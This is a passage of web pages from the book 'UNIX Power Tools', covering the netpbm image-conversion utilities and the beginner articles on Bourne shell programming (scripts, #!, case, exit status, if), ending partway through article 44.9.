The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 43] 43.25 The Portable Bitmap Package

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 43.24 Other PostScript Utilities Chapter 43
Printing 		Next: VIII. Shell Programming

43.25 The Portable Bitmap Package

There are dozens of formats used for graphics files across the computer industry. There are tiff files, PICT files, and gif files. There are different formats for displaying on different hardware, different formats for printing on different printers, and then there are the internal formats used by graphics programs. This means that importing a graphics file from one platform to another (or from one program to another) can be a large undertaking, requiring a filter written specially to convert from one format to the next.

netpbm
 The netpbm package can be used to convert between a wide variety of graphics formats. netpbm evolved from the original Portable Bitmap Package, pbmplus, which was written by Jef Poskanzer. A group of pbmplus users on the Internet cooperated to upgrade pbmplus; the result was netpbm.

The idea behind pbm is to use a set of very basic graphics formats that (almost) all formats can be converted into and then converted back from. This is much simpler than having converters to and from each individual format. These formats are known as pbm, pgm, and ppm: the portable bitmap, graymap, and pixmap formats. (A bitmap is a two-dimensional representation of an image; a graymap has additional information encoded that gives grayscale information for each bit; a pixmap encodes color information for each bit.) The name "pnm" is a generic name for all three portable interchange formats (with the n standing for "any"), and programs that work with all three are said to be "anymap" programs.

The netpbm package contains well over a hundred conversion programs. There are three basic kind of programs:

  • Programs that convert a graphics file to one of the pnm formats. For example, if I had a tiff file and I wanted to convert it to PostScript, I might start the process by using tifftopnm:

    % tifftopnm Hobbes.tiff > Hobbes.pnm

  • Programs that convert from one of the pnm formats to another format. For example, if I wanted to convert the Hobbes.pnm file directly to PostScript, I could use pnmtops:

    % pnmtops Hobbes.pnm > Hobbes.ps

  • Programs used to manipulate the image in pnm format. For example, if I wanted to crop the image, I could use pnmcut before I converted the file to PostScript and printed it:

    % tifftopnm Hobbes.tiff > Hobbes.pnm
% pnmcut 10 10 200 200 Hobbes.pnm > Hobbes.cut
% pnmtops Hobbes.cut > Hobbes.ps
% lpr Hobbes.ps

    or, on one command line (and without cluttering your disk with intermediary files):

    % tifftopnm Hobbes.tiff | pnmcut 10 10 200 200 | pnmtops | lpr

I frequently like to create X11 (1.31) bitmaps out of pictures in newspapers or magazines. The way I do this is to first scan the picture in on a Macintosh and save it as tiff or PICT format. Then I ftp (1.33) the file to our UNIX system and convert it to pnm format, and then use pbmtoxbm to convert it to X bitmap format. If the picture is too big, I use pnmscale on the intermediary pnm file. If the picture isn't right-side-up, I can use pnmrotate and sometimes pnmflip before converting the pnm file to X11 bitmap format.

The programs provided with the netpbm package are far too many to discuss in detail, and some of these formats are ones that you've probably never even heard of. But here's a summary of them. Table 43.2 lists the conversion programs. Table 43.3 lists the programs that perform various kinds of editing, enhancement, or transformations on image files.

Table 43.2: Image Format Conversion Programs
Format | To pnm | From pnm
ASCII graphics | asciitopgm | pbmtoascii
AT&T 4425 terminal (132 col mode) |  | pbmto4425
Abekas YUV bytes | yuvtoppm | ppmtoyuv
Abekas YUV triplets (MPEG/JPEG) | yuvsplittoppm | ppmtoyuvsplit
Andrew Toolkit raster object | atktopbm | pbmtoatk
Atari Degas .pi1 | pi1toppm | ppmtopi1
Atari Degas .pi3 | pi3topbm | pbmtopi3
Atari compressed Spectrum file | spctoppm |
Atari uncompressed Spectrum file | sputoppm |
AutoCAD database or slide | sldtoppm | ppmtoacad
BBN BitGraph graphics |  | pbmtobbnbg
Bennet Yee "face" file | ybmtopbm | pbmtoybm
Biorad confocal microscope files | bioradtopgm |
CMU window manager bitmap | cmuwmtopbm | pbmtocmuwm
DEC LN03+ |  | pbmtoln03
DEC sixel format |  | ppmtosixel
DDIF format |  | pnmtoddif
Encapsulated PostScript preview bitmap |  | pbmtoepsi
Epson printer graphics |  | pbmtoepson
FITS | fitstopnm | pnmtofits
GEM .img file | gemtopbm | pbmtogem
GIF | giftopnm | ppmtogif
Gemini 10X printer graphics |  | pbmto10x
Gould scanner file | gouldtoppm |
GraphOn graphics (compressed) |  | pbmtogo
Group 3 fax file | g3topbm | pbmtog3
HIPS | hipstopgm |
HP LaserJet format |  | pbmtolj
HP PaintJet | pjtoppm | ppmtopj
HP PaintJet XL PCL file |  | ppmtopjxl
IFF ILBM | ilbmtoppm | ppmtoilbm
Img-whatnot | imgtoppm |
Lisp Machine bitmap | lispmtopgm | pgmtolispm
MGR bitmap | mgrtopbm | pbmtomgr
MacPaint | macptopbm | pbmtomacp
Macintosh PICT | picttoppm | ppmtopict
Mitsubishi S340-10 printer format |  | ppmtomitsu
Motif UIL icon file |  | ppmtouil
NCSA ICR format |  | ppmtoicr
PCX | pcxtoppm | ppmtopcx
packed (PK) format font | pktopbm | pbmtopk
Photo-CD file | hpcdtoppm |
PostScript "image" data | psidtopgm |
PostScript (pstopnm uses ghostscript) | pstopnm | pnmtops
Fast PostScript creator |  | pbmtolps
Printronix printer graphics |  | pbmtoptx
SGI image file | sgitopnm | pnmtosgi
Solitaire image recorder format | sirtopnm | pnmtosir
SPOT satellite images | spottopgm |
Sun icon | icontopbm | pbmtoicon
Sun rasterfile | rasttopnm | pnmtorast
TIFF file | tifftopnm | pnmtotiff
TrueVision Targa file | tgatoppm | ppmtotga
Unix plot(5) file |  | pbmtoplot
Usenix FaceSaver(tm) | fstopgm | pgmtofs
Windows (PC) bitmap | bmptoppm | ppmtobmp
X10 bitmap | xbmtopbm | pbmtox10bm
X10 window dump | xwdtopnm |
X11 "puzzle" file |  | ppmtopuzz
X11 bitmap | xbmtopbm | pbmtoxbm
X11 pixmap | xpmtoppm | ppmtoxpm
X11 window dump | xwdtopnm | pnmtoxwd
Xim file | ximtoppm |
XV "thumbnail" picture | xvminitoppm |
Zeiss confocal microscopes | zeisstopnm |
Zinc bitmap |  | pbmtozinc
doodle brush | brushtopbm |
output from the MTV or PRT ray tracers | mtvtoppm |
output from the QRT ray tracer | qrttoppm |
portable bitmap |  | pgmtopbm
portable graymap |  | pbmtopgm
 |  | ppmtopgm
portable pixmap |  | pgmtoppm
raw RGB bytes | rawtoppm |
raw grayscale bytes | rawtopgm |
text | pbmtext |
three portable graymaps | rgb3toppm | ppmtorgb3
unknown | anytopnm |

Table 43.3: Manipulating pnm Files
Program | Purpose
pbmlife | Apply Conway's rules of Life to a portable bitmap.
pbmmake | Create a blank bitmap of a specified size.
pbmmask | Create a mask bitmap from a regular bitmap.
pbmpscale | Enlarge pbm image with edge smoothing.
pbmreduce | Read a portable bitmap and reduce it N times.
pbmupc | Create a Universal Product Code bitmap.
pgmbentley | Bentleyize a portable graymap.
pgmcrater | Create cratered terrain by fractal forgery.
pgmedge | Edge-detect a portable graymap.
pgmenhance | Edge-enhance a portable graymap.
pgmhist | Print a histogram of the values in a portable graymap.
pgmkernel | Generate a convolution kernel (for pnmconvol use).
pgmnoise | Create a PGM made up of white noise.
pgmnorm | Normalize the contrast in a portable graymap.
pgmoil | Turn a portable graymap into an oil painting.
pgmramp | Generate a grayscale ramp.
pgmtexture | Calculate textural features on a portable graymap.
pnmalias | Antialias a PNM (remove jaggies).
pnmarith | Perform arithmetic on two portable anymaps.
pnmcat | Concatenate portable anymaps.
pnmcomp | Create composite image from two PNMs.
pnmconvol | General MxN convolution on a portable anymap.
pnmcrop | Crop a portable anymap.
pnmcut | Cut a rectangle out of a portable anymap.
pnmdepth | Change the maxval in a portable anymap.
pnmenlarge | Read a portable anymap and enlarge it N times.
pnmfile | Describe a portable anymap.
pnmflip | Perform one or more flip operations on a portable anymap.
pnmgamma | Perform gamma correction on a portable anymap.
pnmhisteq | Histogram equalize a PNM.
pnmhistmap | Draw a histogram for a PGM or PPM file.
pnmindex | Build a visual index of a bunch of anymaps.
pnminvert | Invert a portable anymap.
pnmmargin | Add a border to a portable anymap.
pnmnlfilt | Miscellaneous non-linear filters.
pnmnoraw | Force a portable anymap into plain format.
pnmpad | Add borders to a PNM.
pnmpaste | Paste a rectangle into a portable anymap.
pnmrotate | Rotate a portable anymap by some angle.
pnmscale | Scale a portable anymap.
pnmshear | Shear a portable anymap by some angle.
pnmsmooth | Smooth out an image.
pnmtile | Replicate a portable anymap into a specified size.
ppm3d | Merge two PPM files into a red/blue (3-D glasses) PPM.
ppmbrighten | Change image saturation and value on an HSV map.
ppmchange | Change one color into another color.
ppmdim | Dim a portable pixmap (similar to ppmbrighten).
ppmdist | Simplistic grayscale convert for color images.
ppmdither | Ordered dither for color images.
ppmflash | Brighten a picture (similar to ppmbrighten).
ppmforge | Fractal forgeries of clouds, planets, and starry skies.
ppmhist | Print a histogram of a portable pixmap.
ppmmake | Create a pixmap of a specified size and color.
ppmtomap | Extract all colors from a PPM file.
ppmmix | Blend together two portable pixmaps (fade between).
ppmnorm | Normalize the contrast in a portable pixmap.
ppmntsc | Make PPM look like a television image (dim every other row).
ppmpat | Make a pretty pixmap.
ppmquant | Quantize the colors in a portable pixmap down to a specified number.
ppmquantall | Run ppmquant on a bunch of files all at once, so they share a common colormap.
ppmqvga | Eight plane quantization.
ppmrelief | Run a Laplacian relief filter on a portable pixmap.
ppmshift | Shift rows randomly left and right (water reflection).
ppmspread | Displace pixels by random amounts (unfocus image).
bitmaps
The netpbm package is also distributed with a set of public domain bitmaps. We've put these bitmaps on the CD-ROM as well.

- LM, JP

Previous: 43.24 Other PostScript Utilities | UNIX Power Tools | Next: VIII. Shell Programming
43.24 Other PostScript Utilities | Book Index | VIII. Shell Programming
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] Shell Programming for the Uninitiated

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: VIII. Shell Programming Chapter 44 Next: 44.2 Writing a Simple Shell Program

44. Shell Programming for the Uninitiated

Contents:
Everyone Should Learn Some Shell Programming
Writing a Simple Shell Program
What's a Shell, Anyway?
Testing How Your System Executes Files
Test String Values with Bourne Shell case
Pattern Matching in case Statements
Exit Status of UNIX Processes
Test Exit Status with the if Statement
Testing Your Success
Loops That Test Exit Status
Set Exit Status of a Shell (Script)
Trapping Exits Caused by Interrupts
read: Reading from the Keyboard
Putting awk, sed, etc., Inside Shell Scripts
Handling Command-Line Arguments in Shell Scripts
Handling Command-Line Arguments with a for Loop
Handling Arguments with while and shift
Standard Command-Line Parsing
The Bourne Shell set Command
test: Testing Files and Strings
Picking a Name for a New Command
Finding a Program Name; Multiple Program Names
Reading Files with the . and source Commands

44.1 Everyone Should Learn Some Shell Programming

One of the great things about UNIX is that it's made up of individual utilities, "building blocks" like cat and grep, that you run from a shell prompt. Using pipes, redirection, filters, and so on, you can combine those utilities to do an incredible number of things. Shell programming lets you take the same commands you'd type at a shell prompt - and put them into a file you can run by just typing its name. You can make new programs that combine UNIX programs (and other shell scripts) in your own way to do exactly what you need. If you don't like the way a program works, you can write a shell script to do just what you want.

Because many UNIX users use the shell every day, they don't need to learn a whole new language for programming... just some tips and techniques. In fact, this chapter covers a lot of programming techniques that you'll want to use even when you aren't programming. For example, loops and tests are handy on the command line.

(This series of articles does assume that you've written programs in some language before, or are generally familiar with programming concepts. If you haven't, you might start with a more comprehensive shell programming book.)

Some of the topics you need to learn about as a beginning shell programmer have already been covered in other chapters. Here are the articles you'll probably want to read - in an order that makes sense if you're looking for something of a tutorial:

  • To see how to write a simple shell program, article 44.2. To embed scripts from other languages like sed and awk in a shell script, article 44.14.

  • For explanation of shells in general, article 44.3.

  • To test how your system executes files so you'll know how to write your shell programs, article 44.4.

  • To read about environment and shell variables, articles 6.1 and 6.8, respectively.

  • The echo command is covered by article 8.6.

  • Shell quoting is explained in article 8.14.

  • Test strings with a case statement, article 44.5. Match patterns in a case statement, article 44.6.

  • Use the output of one command as arguments to another command with command substitution, article 9.16.

  • Find out whether a program worked or failed with its exit status, article 44.7.

  • Test a program's exit status and do different things if it worked or failed, articles 44.8 and 44.9.

  • Loop through a set of commands and use another command to control that loop, article 44.10.

  • Set exit status of a shell (shell script), article 44.11.

  • Handle interrupts (like CTRL-c) and other signals, article 44.12.

  • Read input from the keyboard, article 44.13.

  • Handle command-line arguments (options, filenames, etc.), article 44.15.

  • Step through arguments, or any list of words, with a for loop, articles 9.12 and 44.16.

  • Handle arguments with the while and shift commands, article 44.17.

  • Handle command-line arguments in a more standard and portable way with getopt, article 44.18.

  • Set shell options and command-line arguments with the set command, article 44.19.

  • Test files and strings of characters with the test command, article 44.20.

  • Pick a name for a new command with no conflict, article 44.21.

  • Find the name of a program and use it in the script, article 44.22.

  • Use "subprograms" that can change the current environment, article 44.23.

This chapter discusses only Bourne shell programming. In most cases, the C shell isn't great for shell programming (47.2).

A note about command versions: unfortunately, the same commands on different versions of UNIX can have different options. Some Bourne shells are a little different from others. For instance, some test (44.20) commands have a -x option to test for an executable file; others don't. As article 46.10 explains, some echo commands use a -n option to mean "no newline at the end of this string"; others have you put \c at the end of the string. And so on. Where there are differences, these articles generally use the commands in Berkeley UNIX. If a command doesn't seem to work on your system, check its online manual page or the sh manual page.

- JP

Previous: VIII. Shell Programming | UNIX Power Tools | Next: 44.2 Writing a Simple Shell Program
VIII. Shell Programming | Book Index | 44.2 Writing a Simple Shell Program
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.2 Writing a Simple Shell Program

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.1 Everyone Should Learn Some Shell Programming Chapter 44
Shell Programming for the Uninitiated 		Next: 44.3 What's a Shell, Anyway?

44.2 Writing a Simple Shell Program

A shell script need be no more than a complex command line saved in a file. For example, let's assume that you'd like a compact list of all the users who are currently logged in on the system.

A command like this might do the trick:

% who | cut -c1-8 | sort -u | pr -l1 -8 -w78 -t

A list of logged-in users should come out in columns, looking something like this:

abraham  appleton biscuit  charlie  charlott fizzie   howard   howie
hstern   jerry    kosmo    linda    ocshner  peterson root     ross
sutton   yuppie

We used four UNIX commands joined with pipes:

  1. who (51.4) gives a list of all users.

  2. cut -c1-8 (35.14) outputs columns 1-8 of the who output - the usernames. If your system doesn't have cut, use the command colrm 9 (35.15).

  3. The sort -u (36.6) puts names in order and takes out names of users who are logged on more than once.

  4. The pr -l1 -8 -w78 -t (35.17, 43.7) takes the list of usernames, one per line, and makes it into 8 columns on 78-character-wide lines. (The -l1 is the lowercase letter L followed by the digit 1.)

If you wanted to do this frequently, wouldn't it be better if all you had to do was type something like:

% loggedin

to get the same result? Here's how:

  1. Start your favorite text editor (Emacs, vi, whatever) on a new file named loggedin.

  2. If your system supports the special #! notation (44.4), the first line of the script file should be:

    #!/bin/sh

    Otherwise, leave the first line blank. (When the first line of a script is blank, most shells will start a Bourne shell to read it. Articles 45.2 and 45.6 have more information.)

    I think that the second line of a shell script should always be a comment to explain what the script does. (Use more than one line, if you want.) A comment starts with a hash mark (#); all characters after it on the line are ignored:

    # loggedin - list logged-in users, once per user, in 8 columns

    Put this on the third line, just like you did on the command line:

    who | cut -c1-8 | sort -u | pr -l1 -8 -w78 -t

    (As I explained earlier, you might need colrm instead of cut.)

  3. Save the file and leave the editor. You've just written a shell script.

  4. Next, you need to make the shell script executable. The chmod (22.7) (change mode) command is used to change permissions on a file. The plus sign followed by an x (+x) makes the file executable:

    % chmod +x loggedin

  5. If your account uses the C shell, you'll need to reset its command search table. To do that, type:

    rehash
    % rehash

  6. Finally, try the script. Just type its name and it should run:

    % loggedin

    If that doesn't run, your current directory may not be in your shell's command search path. In that case, try this:

    % ./loggedin

    If it still doesn't work, and you started the first line of your script with #!, be sure that the Bourne shell's pathname on that line (like /bin/sh) is correct.

  7. If you want to run the script from somewhere other than the current directory, or if you want other programs and scripts you write to be able to use it, you need to put it in a directory that's in your search path (8.7). If you're the only person who plans to use the script, you should put it in your personal bin directory (4.2). Otherwise, you might ask your system administrator if there's a systemwide directory for local commands.

- JP

Previous: 44.1 Everyone Should Learn Some Shell Programming | UNIX Power Tools | Next: 44.3 What's a Shell, Anyway?
44.1 Everyone Should Learn Some Shell Programming | Book Index | 44.3 What's a Shell, Anyway?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.3 What's a Shell, Anyway?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.2 Writing a Simple Shell Program Chapter 44
Shell Programming for the Uninitiated 		Next: 44.4 Testing How Your System Executes Files

44.3 What's a Shell, Anyway?

A shell is a program that interprets your command lines and runs other programs. Another name for the shell is "command interpreter." This article covers the two major UNIX shells, including discussion about how shells run, how they search for programs, and how they read shell script files.

44.3.1 How Shells Run Other Programs

For each command it runs, a shell does a series of steps. First, if the shell is reading commands from a terminal (interactively), it prints a prompt (such as a % or $) and waits for you to type something. Next, the shell reads the command line (like cat -v afile bfile > cfile), interprets it (8.1, 8.5), and runs that command line. When the command finishes running (unless the command is in the background (1.26, 1.27)), the shell is ready to read another command line.

44.3.2 Interactive Use vs. Shell Scripts

A shell can read command lines from a terminal or it can read them from a file. When you put command lines into a file, that file is called a shell script (44.2) or shell program. The shell handles the shell script just as it handles the commands you type from a terminal (though it doesn't print the % or $ prompts). With this information, you already know how to write simple shell scripts - just put commands in a file and feed them to the shell!

In addition though, there are a number of programming constructs that make it possible to write shell programs that are much more powerful than just a list of commands.

44.3.3 Types of Shells

There are two main kinds of shells in UNIX:

  • The C shell (csh) is especially good for working on a terminal. csh will read shell scripts and has some useful features for programmers. Unfortunately, it has some quirks (47.2) that can make shell programming tough.

  • The Bourne shell (sh) and shells like it are probably used more often for shell programming. (Some newer sh-like shells, including ksh and bash (1.8), combine handy interactive C shell-like features with Bourne shell syntax.)

44.3.4 Shell Search Paths

As article 8.7 explains, if the shell is trying to run a command and the command isn't built-in to the shell itself, it looks in a list of directories called a search path. UNIX systems have standard directories with names like /bin and /usr/bin that hold standard UNIX programs. Almost everyone's search path has these directories.

If you do much shell programming, you should make a directory on your account for executable files. Most people name theirs bin and put it under the home directory. See article 4.2.

44.3.5 Bourne Shell Used Here

Most serious shell programmers write their scripts for the Bourne shell. So do we.

Newer Bourne shells have features - like shell functions (10.9), an unset command for shell variables, and others - that the earlier Version 7 Bourne shell didn't. Most scripts in this book are written to work on all Bourne shells, though - for portability, the scripts don't use these new features.

For the rest of these introductory articles, it may be easier if you have a terminal close by so you can try the examples. If your account uses the Bourne shell or one of its relatives (ksh, bash, etc.), your prompt probably has a dollar sign ($) in it. If your account isn't running the Bourne shell, start one by typing sh. Your prompt should change to a dollar sign ($). You'll be using the Bourne shell until you type CTRL-d at the start of a line:

% sh
$
$ ...Enter commands...
$ [CTRL-d]
%

- JP

Previous: 44.2 Writing a Simple Shell Program | UNIX Power Tools | Next: 44.4 Testing How Your System Executes Files
44.2 Writing a Simple Shell Program | Book Index | 44.4 Testing How Your System Executes Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.4 Testing How Your System Executes Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.3 What's a Shell, Anyway? Chapter 44
Shell Programming for the Uninitiated 		Next: 44.5 Test String Values with Bourne Shell case

44.4 Testing How Your System Executes Files

Your version of UNIX may understand the #! notation. This is a way to tell UNIX which shell should execute the commands in your file. [1] If your UNIX doesn't recognize #!, you'll need to be sure that you know how to make it read shell scripts using the Bourne shell - regardless of the shell you use interactively - because most scripts in this book are for the Bourne shell.

[1] Actually, you can use #! to specify any interpreter program (45.3), not just a shell.

To test your system, let's make a two-line file named testing.

NOTE: Do not make programs named test. There's an important system command named test (44.20), and your command might be used, accidentally, instead of the system program. Name your test programs testing, atest, whatever - just not test. Article 44.21 shows how to find a unique filename.

  1. Make a file named testing (use an editor, or just make the file by hand with cat > testing (25.2)). Put the following two lines in the file. Be sure to start on the first line of the file, and type this text just as it's shown. Be sure that the hash mark (#) is at the left-hand edge (column 1) of the first line:

    #!/bin/echo just
export stuff

  2. Exit the editor and save the file. Make the file executable by typing chmod +x testing (44.2).

Now run the program by typing its name at a shell prompt. There are four kinds of responses:

  1. If this happens, then the #! is working. You'll be able to tell your system which shell should run each script:

    % testing
just testing
%

    The answer just ./testing also means that #! is working. If you get an error like "testing: command not found," your current directory may not be in the shell's search path (8.7); try executing ./testing instead.

  2. If this happens, then your UNIX doesn't understand #!, but it ran your program with the Bourne shell anyhow:

    % testing
%

  3. If this happens, then your system ran the program with an older version of the Bourne shell. You should not use comment lines starting with a hash mark (#):

    % testing
#!: not found
%

  4. If this happens, then your UNIX doesn't understand #!, and it ran your program with the C shell:

    % testing
export: Command not found.
%

Many UNIX systems, especially newer ones, will answer just testing or just ./testing. That's because, as article 45.5 explains, the system strips off the #! from the start of the line, adds the script file's name (or pathname) to the end of it, and runs it:

/bin/echo just testing

(Article 8.6 covers the echo command.) If your system ran the shell script with the C shell, find a way to make it use the Bourne shell instead. Try the trick in article 45.6 or ask a local expert such as your system administrator.

- JP

Previous: 44.3 What's a Shell, Anyway? | UNIX Power Tools | Next: 44.5 Test String Values with Bourne Shell case
44.3 What's a Shell, Anyway? | Book Index | 44.5 Test String Values with Bourne Shell case
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.5 Test String Values with Bourne Shell case

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.4 Testing How Your System Executes Files Chapter 44
Shell Programming for the Uninitiated 		Next: 44.6 Pattern Matching in case Statements

44.5 Test String Values with Bourne Shell case

Each time you type a command line at a shell prompt, you can see what happens and decide what command to run next. But a shell script needs to make decisions like that itself. A case statement helps the script make decisions. A case statement compares a string (usually taken from a shell or environment variable (6.8, 6.1)) to one or more patterns. The patterns can be simple strings (words, digits, etc.) or they can be case wildcard expressions (44.6). When the case finds a pattern that matches the string, it executes one or more commands.

Here's an example. It tests your TERM (5.10) environment variable. If you're using a vt100 or tk4023 terminal, it runs a command to send some characters to your terminal. If you aren't on either of those, it prints an error and quits:

echo...\027'

1>&2
exit

case "$TERM" in
vt100)   echo 'ea[w' | tr 'eaw' '\033\001\027' ;;
tk4023)  echo "*[p23" ;;
*)  # Not a VT100 or tk4023.  Print error message:
    echo "progname: quitting: you aren't on a VT100 or tk4023." 1>&2
    exit
    ;;
esac

Here are more details about how this works. The statement compares the string between the words case and in to the strings at the left-hand edge of the lines ending with a ) (right parenthesis) character. If it matches the first case (in this example, if it's the vt100), the command up to the ;; is executed. The ;; means "jump to the esac" (esac is "case" spelled backwards). You can put as many commands as you want before each ;;, but put each command on a separate line (or separate commands on a line with semicolons (8.5)).

If the first pattern doesn't match, the shell tries the next case - here, tk4023. As above, a match runs the command and jumps to the esac. No match? The next pattern is the wildcard *. It matches any answer other than vt100 or tk4023 (such as xterm or an empty string).

You can use as many patterns as you want to. The first one that matches is used. It's okay if none of them match. The style doesn't matter much. Pick one that's readable and be consistent.

- JP

Previous: 44.4 Testing How Your System Executes Files | UNIX Power Tools | Next: 44.6 Pattern Matching in case Statements
44.4 Testing How Your System Executes Files | Book Index | 44.6 Pattern Matching in case Statements
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.6 Pattern Matching in case Statements

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.5 Test String Values with Bourne Shell case Chapter 44
Shell Programming for the Uninitiated 		Next: 44.7 Exit Status of UNIX Processes

44.6 Pattern Matching in case Statements

A case statement (44.5) is good at string pattern matching. Its "wildcard" pattern-matching metacharacters work like the filename wildcards (1.16) in the shell, with a few twists. Here are some examples:

?)

Matches a string with exactly one character like a, 3, !, and so on.

?*)

Matches a string with one or more characters (a non-empty string).

[yY]|[yY][eE][sS])

Matches y, Y or yes, YES, YeS, etc. The | means "or."

/*/*[0-9])

Matches a file pathname, like /xxx/yyy/somedir/file2, that starts with a slash, contains at least one more slash, and ends with a digit.

'What now?')

Matches the pattern What now?. The quotes (8.14) tell the shell to treat the string literally: not to break it at the space and not to treat the ? as a wildcard.

"$msgs")

Matches the contents of the msgs variable. The double quotes let the shell substitute the variable's value; the quotes also protext spaces and other special characters from the shell. For example, if msgs contains first next, then this would match the same string, first next.

- JP

Previous: 44.5 Test String Values with Bourne Shell case | UNIX Power Tools | Next: 44.7 Exit Status of UNIX Processes
44.5 Test String Values with Bourne Shell case | Book Index | 44.7 Exit Status of UNIX Processes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.7 Exit Status of UNIX Processes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.6 Pattern Matching in case Statements Chapter 44
Shell Programming for the Uninitiated 		Next: 44.8 Test Exit Status with the if Statement

44.7 Exit Status of UNIX Processes

When a UNIX process (command) runs, it can return a numeric status value to the process that called (started) it. The status can tell the calling process whether the command succeeded or failed. Many (but not all) UNIX commands return a status of zero if everything was okay or non-zero (1, 2, etc.) if something went wrong. A few commands, like grep and diff, return a different non-zero status for different kinds of problems; see your online manual pages to find out.

The Bourne shell puts the exit status of the previous command in the question mark (?) variable. You can get its value by preceding it with a dollar sign ($), just like any other shell variable. For example, when cp copies a file, it sets the status to 0. If something goes wrong, cp sets the status to 1:

$ cp afile /tmp
$ echo $?

$ cp afiel /tmp
cp: afiel: No such file or directory
$ echo $?
1

In the C shell, use the status variable instead:

% cp afiel /tmp
cp: afiel: No such file or directory
% echo $status
1

Of course, you usually don't have to display the exit status in this way, because there are several ways (44.8, 44.9, 44.10) to use the exit status of one command as a condition of further execution.

true
false
Two simple UNIX utilities do nothing but return an exit status. true returns a status of 0 (zero); false returns 1 (one). There are GNU versions on the CD-ROM-and no, they don't have any amazing extra features. ;-)

The exit status of pipelines (1.4) is the status of the last command in the pipeline. [2] You can't test the exit status of a background job in the Bourne shell unless you use the wait command to wait for it (in effect, to bring the job out of the background).

[2] I've seen a few places where that wasn't true - in an early Korn Shell, I think, and a couple of other places too - but that was a long time ago.

- JP

Previous: 44.6 Pattern Matching in case Statements | UNIX Power Tools | Next: 44.8 Test Exit Status with the if Statement
44.6 Pattern Matching in case Statements | Book Index | 44.8 Test Exit Status with the if Statement
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.8 Test Exit Status with the if Statement

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.7 Exit Status of UNIX Processes Chapter 44
Shell Programming for the Uninitiated 		Next: 44.9 Testing Your Success

44.8 Test Exit Status with the if Statement

If you are going to write a shell script of any complexity at all, you need some way to write "conditional expressions." Conditional expressions are nothing more than statements that have a value of "true" or "false": like "Have I gotten dressed today?" or "Is it before 5 p.m.?" or "Does the file indata exist?" or "Is the value of $aardvark greater than 60?"

The UNIX shell is a complete programming language. Therefore, it allows you to write "if" statements with conditional expressions - just like C, Basic, Pascal, or any other language. Conditional expressions can also be used in several other situations; but most obviously, they're the basis for any sort of if statement. Here's the syntax of an if statement for the Bourne shell:

if conditional
then
    # do this if conditional returns a zero ("true") status
    one-or-more-commands
else
    # do this if conditional returns non-zero ("false") status
    one-or-more-commands
fi

You can omit the else and the block of code following it. However, you can't omit the then or the fi. If you want to omit the then (i.e., if you want to do something special when condition is false, but nothing when it is true), write the statement like this:

if conditional
then
    :    # do nothing
else
    # do this if conditional returns non-zero ("false") status
    one-or-more-commands
fi

Note that this uses a special null command, a colon (:) (45.9). There's another, more useful way of expressing the inverse of a condition (do something if conditional is not "true"), the || operator (44.9) (two vertical bars).

Don't forget the fi terminating the statement. This is a surprisingly common source of bugs. (At least for me.)

Another common debugging problem: the manual pages that discuss this material imply that you can smash the if, the then, and the else onto one line. Well, it's true, but it's not always easy. Do yourself a favor: write your if statements exactly like the one above. You'll rarely be disappointed, and you may even start writing programs that work correctly the first time.

Here's a real-life example: a shell script named bkedit that makes a backup copy of a file before editing it. If cp returns a zero status, the script edits the file; otherwise, it prints a message. (The $1 is replaced with the first filename from the command line - see article 44.15.)

1>&2
#!/bin/sh
if cp "$1" "$1.bak"
then
    vi "$1"
else
    echo "bkedit quitting: can't make backup?" 1>&2
fi

You can try typing in that shell script and running it. Or, just type in the lines (starting with the if) on a terminal running the Bourne shell; use a real filename instead of $1.

The if statement is often used with a command named test (44.20). The test command does a test and returns an exit status of 0 or 1.

- ML, JP

Previous: 44.7 Exit Status of UNIX Processes | UNIX Power Tools | Next: 44.9 Testing Your Success
44.7 Exit Status of UNIX Processes | Book Index | 44.9 Testing Your Success
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 44] 44.9 Testing Your Success

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 44.8 Test Exit Status with the if Statement Chapter 44
Shell Programming for the Uninitiated 		Next: 44.10 Loops That Test Exit Status

44.9 Testing Your Success

The shells let you test for success right on the command line. This gives you a very efficient way to write quick and comprehensible shell scripts.

I'm referring to the || and && operators; in particular, the || operator. comm1 || comm2 is typically explained as "execute the command on the right if the command on the left failed." I prefer to explain it as an "either-or" construct: "execute either comm1 or comm2." While this isn't really precise, let's see what it means in context:

cat filea fileb > filec || exit

